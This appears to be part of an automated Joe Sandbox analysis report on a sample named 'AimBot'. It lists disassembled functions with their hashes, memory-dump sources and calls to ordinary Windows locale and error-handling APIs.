Instruction Fuzzy Hash: FB9101B15083898FE310CF16D844B1FBBE6BB86314F548E1DF4999B382C774DA098B96

Function 006E92F0 Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#,-., xrefs: 006E9493, 006E949B
/()*, xrefs: 006E945E

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: #,-.$/()*
API String ID: 0-97752578
Opcode ID: 194ba9364011883dee674e28e38aa1ee843060e2cfe2b897efd0f874e823fdbc
Instruction ID: 7d422a599b9333939a1ddd23a20b60770a0e4d58e8279acd9dad918327cf576a
Opcode Fuzzy Hash: 194ba9364011883dee674e28e38aa1ee843060e2cfe2b897efd0f874e823fdbc
Instruction Fuzzy Hash: C44133B440E380ABD701BF6AD584A1EFBE2AF52700F148C1CE5C887292C33AC815CB67

Function 0070AD4D Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

{x, xrefs: 0070AD8E
vs, xrefs: 0070AD96

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: vs${x
API String ID: 0-540428112
Opcode ID: ecf82ee12ecd9542ea1500d370d78d24476180ce2a8330dd0e43227138207206
Instruction ID: c4e953e1f67257484b1c8b14bdb4f958ed7ae88037be7f865bb289255c11c600
Opcode Fuzzy Hash: ecf82ee12ecd9542ea1500d370d78d24476180ce2a8330dd0e43227138207206
Instruction Fuzzy Hash: D92149B1608350EBC7149F14C85522BF7F1EF82391F14AA1DF4918B6A1E378C840CB57

Function 006C547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,006C5477,?,?,00000008,?,?,006D1335,00000000), ref: 006C56A9

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2e0fda445c726d79a34519f40275a6db57ca4b6eff18a2a567eac89066fd7eec
Instruction ID: 517aaff93156cd5e95a4eba9a1f7b964a53df484290c7a9f1053919b31c65884
Opcode Fuzzy Hash: 2e0fda445c726d79a34519f40275a6db57ca4b6eff18a2a567eac89066fd7eec
Instruction Fuzzy Hash: AFB11C31610A04CFD714CF28C886FA57BA2FF45365F65865CE89ACF2A1C735E982CB40

Function 006B6FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 006B7002

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 50f06dd7759d639843e1c093f89e246c94a3f728e0df2b5677eebcc399293981
Instruction ID: 0de78e6c11b140c4c20764fa20e839fdf119bc6c0299ec80ef2676f6e9742b35
Opcode Fuzzy Hash: 50f06dd7759d639843e1c093f89e246c94a3f728e0df2b5677eebcc399293981
Instruction Fuzzy Hash: 62A13CB5D0661ACFDB18CF64D8827ADBBF2FB88324F18962AD419E7350D7359980CB50

Function 0070E380 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

", xrefs: 0070E648

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 4787a49e1d0b335dcdd828777914369dc15b1e4f656be7bc3413037d8f8a7578
Instruction ID: 942e20938ca074891fce8c8387c528d7cf18986e1a53989f9fa0d2e335a181aa
Opcode Fuzzy Hash: 4787a49e1d0b335dcdd828777914369dc15b1e4f656be7bc3413037d8f8a7578
Instruction Fuzzy Hash: F1D1E4B1A08354DFDB14CE24C89576BBBDAAB84314F088E6DF899873C2E778DD058791

Function 006FF1F0 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

@o%m, xrefs: 006FF283

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: @o%m
API String ID: 0-573294142
Opcode ID: 5ac18de4010e4af3139183fd787712e1e284449a1d784f065e2f56531d89d529
Instruction ID: 1ef84704220e76945083a83f2fd6d0926be299b7b4c91427dde1686a87250cd0
Opcode Fuzzy Hash: 5ac18de4010e4af3139183fd787712e1e284449a1d784f065e2f56531d89d529
Instruction Fuzzy Hash: 12A198B54083448BC720DF18C882A6BB7F1FF96354F48995CE9D58B3A1E339D905CBA6

Function 006C980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503d7e8498937f2845f9df6ca8a9aeadc2a6a739c26c88f3a5ef3176400ce9b2
Instruction ID: 4e8d102b16a194b4563cedb82c87e45761d81bef90e4779d37d3d9df2f1c3594
Opcode Fuzzy Hash: 503d7e8498937f2845f9df6ca8a9aeadc2a6a739c26c88f3a5ef3176400ce9b2
Instruction Fuzzy Hash: 1631D272900219AFDB20DEA8CC89EFBB77EEB84314F14855DF915D7244EA30AE408B64

Function 006BC842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 006BC9D0

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 27297593c06b6e4a016f94e7d0bac6ee23ea0464af7af50460e0eeca3831e6a6
Instruction ID: feaee7e5d7ecc41a1f5660daaf75937cfe7c7403273b0887381c947261892ef1
Opcode Fuzzy Hash: 27297593c06b6e4a016f94e7d0bac6ee23ea0464af7af50460e0eeca3831e6a6
Instruction Fuzzy Hash: F3C1B0B090064A8FDB28DF68C4916FEBBA3AF45320F14461DD496DB391C731AEC6CB55

Function 006CC43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006CC491

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b2a149890ac4a33ba8fa2cedf2060b4451429096d68f202002252d0127a6917e
Instruction ID: 6b2194d53bd9e6977fcd9ee87f8d78cc4c1d2471f34463adeb7f24b0388cdb3b
Opcode Fuzzy Hash: b2a149890ac4a33ba8fa2cedf2060b4451429096d68f202002252d0127a6917e
Instruction Fuzzy Hash: BD21F572611206ABDF289B64CC51FBA73EAEF44324B10807EFD0AD6241EB35ED44DB50

Function 006CC0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

EnumSystemLocalesW.KERNEL32(006CC1EA,00000001,00000000,?,-00000050,?,006CC81B,00000000,?,?,?,00000055,?), ref: 006CC136

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 95f09a0c77f4ad968c63cc974f2a7c6216c2ee8ea3f61ddf4acc1a8cf220f6e8
Instruction ID: 59e31ec5604c9976dea9c75169e9bc73d615bf4c87556c970b1a4c56963e7eac
Opcode Fuzzy Hash: 95f09a0c77f4ad968c63cc974f2a7c6216c2ee8ea3f61ddf4acc1a8cf220f6e8
Instruction Fuzzy Hash: DD11E9366007059FDB189F39C8A1ABABBA3FF84368B19442DE94B87B41D7717942D740

Function 00714560 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

0, xrefs: 007145F4

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 16f810b4df1ddb4a26c0813aeba025562eb4d6cedc5422b1f3d937095fec7ad7
Instruction ID: aae3b77d0aa5a9116a28c8b572054801fbab69529b7ed104790931dd386dc51b
Opcode Fuzzy Hash: 16f810b4df1ddb4a26c0813aeba025562eb4d6cedc5422b1f3d937095fec7ad7
Instruction Fuzzy Hash: 7FA1F83BE095908BC7189E7C8C512F9BAA35B97334F3D8369DDB26B3D1C6295C4183A0

Function 006CC66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,006CC406,00000000,00000000,?), ref: 006CC698

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c376b1cc6dfd5a815192a9616ffafb2ff5326b56f314c733f23df70ad50e14b0
Instruction ID: 16dd914ff44e0238a9a04a1126ce56a5266859ee81d40cf65cb9cb656b0e58d5
Opcode Fuzzy Hash: c376b1cc6dfd5a815192a9616ffafb2ff5326b56f314c733f23df70ad50e14b0
Instruction Fuzzy Hash: BBF0A9326401117BDF245A26C915FFA7756EB40764F15042DEC0AA3680EA74FE41D690

Function 006CC15F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

EnumSystemLocalesW.KERNEL32(006CC43D,00000001,?,?,-00000050,?,006CC7DF,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 006CC1A9

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 6c738b6ae81f51b86775359b33b297ff1d391dfc662e4d405df764d2302538cb
Instruction ID: 0c7da763afb70ea023a2e4e57279c23c97bcb4fe9d2161b79166d3b7911583d7
Opcode Fuzzy Hash: 6c738b6ae81f51b86775359b33b297ff1d391dfc662e4d405df764d2302538cb
Instruction Fuzzy Hash: 67F0C2762003046FDB145F369C91FBA7B92EF80768F09846DF9094BB91D671AC02DB50

Function 006FEE91 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

`c, xrefs: 006FF08E

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: `c
API String ID: 0-4036970938
Opcode ID: 95c6f8149f2d1183a9e5f0c6447cd35a612bcf30770a677393772d291844bb7d
Instruction ID: f682ec2298dd3cff3ae33d852474e9236fb2879e82a74e8bfeaf0983f20c7371
Opcode Fuzzy Hash: 95c6f8149f2d1183a9e5f0c6447cd35a612bcf30770a677393772d291844bb7d
Instruction Fuzzy Hash: 9381AAB45083448BC310EF18C891A2ABBF2FF96754F44895CF5C48B3A2E77AD944CB92

Function 006C5ACF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006BDB11: EnterCriticalSection.KERNEL32(?,?,006C48D9,?,006DB2A0,00000008,006C4A9D,?,006BC196,?), ref: 006BDB20

EnumSystemLocalesW.KERNEL32(006C5AC2,00000001,006DB360,0000000C,006C5E75,00000000), ref: 006C5B07

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: fda9230f588b93b260aa72f088b76ac79fdbcd72217207722010f685d9283907
Instruction ID: 436e1526b361286230d2ea3760af8504c8de22ffeb467f2a8752fca9b31668c7
Opcode Fuzzy Hash: fda9230f588b93b260aa72f088b76ac79fdbcd72217207722010f685d9283907
Instruction Fuzzy Hash: B6F04F72A50608EFD700EF98D842B9D7BF2FB48721F10812EF401AB2A0DB795940CB58

Function 006CC079 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

EnumSystemLocalesW.KERNEL32(006CBFD2,00000001,?,?,?,006CC83D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006CC0B0

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 37d0f94600d659f22a24c4bd25908e0b56ea68a5e3f92a5e76854fb091631b9f
Instruction ID: fbdd7046d3a9a243bdf472b039b9ddf9361d0b5a8478573d14bfc26d400d7bf8
Opcode Fuzzy Hash: 37d0f94600d659f22a24c4bd25908e0b56ea68a5e3f92a5e76854fb091631b9f
Instruction Fuzzy Hash: 7EF0E53630020597CB04AF35DC55FBABF96EFC1724B06405DEA098B691C6729842D7A0

Function 006C5F79 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,006C2100,?,20001004,00000000,00000002,?,?,006C1700), ref: 006C5FAD

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7e43773899e12973a5ab849fe550a5593071c0b5cedc0ac4a8a12c2e67dae720
Instruction ID: 64c5287387f4ff9ab5b6860d8ac82369874251eb097631ef11c88dfe719b90fa
Opcode Fuzzy Hash: 7e43773899e12973a5ab849fe550a5593071c0b5cedc0ac4a8a12c2e67dae720
Instruction Fuzzy Hash: CFE0DF32501518BBCF222F20EC05FAE7F27EF04720F048019FD0621261CB719D61AAD5

Function 006E6A00 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 006E6B36

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 70a358772ea58a359a6401dfe8200428c8c1dce554b63def77334d843c94fe65
Instruction ID: 63336cd654fee2501ab207eeba91ba5675538d794faf06dcdc3910d431141c49
Opcode Fuzzy Hash: 70a358772ea58a359a6401dfe8200428c8c1dce554b63def77334d843c94fe65
Instruction Fuzzy Hash: 8AB137716093819FC321CF19C88065BBBE1AFA9704F548E2DF5D997382D631E918CB67

Function 006B77FF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000780B,006B6B10), ref: 006B7804

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
